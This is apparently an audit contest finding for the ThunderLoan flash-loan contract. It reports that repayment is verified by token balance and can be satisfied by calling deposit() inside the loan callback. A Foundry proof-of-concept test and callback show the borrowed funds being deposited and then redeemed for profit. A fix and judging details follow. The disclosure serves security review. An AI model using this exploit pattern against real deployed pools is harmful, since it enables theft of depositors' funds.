Submission Details
Severity:
flashloan repayment can be bypassed
Summary
The ThunderLoan contract uses balanceOf for the repayment judgment. As a result, attackers can use deposit() to bypass the flashloan repayment.
Vulnerability Details
function testFlashloan_reentrancy() public setAllowedToken hasDeposits {
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 amountToBorrow = tokenA.balanceOf(address(assetToken));
uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
tokenA.mint(address(this), calculatedFee);
uint256 tokenABalance_thunderLoan_before = tokenA.balanceOf(address(assetToken));
thunderLoan.flashloan(address(this), tokenA, amountToBorrow, "");
thunderLoan.redeem(tokenA, (IERC20(assetToken).balanceOf(address(this)) * 9984)/ 10000);
uint256 tokenABalance_thunderLoan_after = tokenA.balanceOf(address(assetToken));
emit log_named_decimal_uint("tokenABalance_this_before:", calculatedFee, 18);
emit log_named_decimal_uint("tokenABalance_this_after:", tokenA.balanceOf(address(this)), 18);
emit log_named_decimal_uint("tokenABalance_thunderLoan_before:", tokenABalance_thunderLoan_before, 18);
emit log_named_decimal_uint("tokenABalance_thunderLoan_after:", tokenABalance_thunderLoan_after, 18);
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
)
external
returns (bool)
{
AssetToken assetToken = thunderLoan.getAssetFromToken(tokenA);
uint256 balance = tokenA.balanceOf(address(this));
tokenA.approve(address(thunderLoan), balance);
thunderLoan.deposit(tokenA, balance);
return true;
}
Impact
Loss of funds
Tools Used
Foundry
Recommendations
Add a reentrancy modifier on the deposit() function.
Updates
Lead Judging Commences
0xnevi about 2 years ago
Submission Judgement Published Assigned finding tags:
flash loan funds stolen by a deposit
Rewards breakdown
nSLOC
387This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.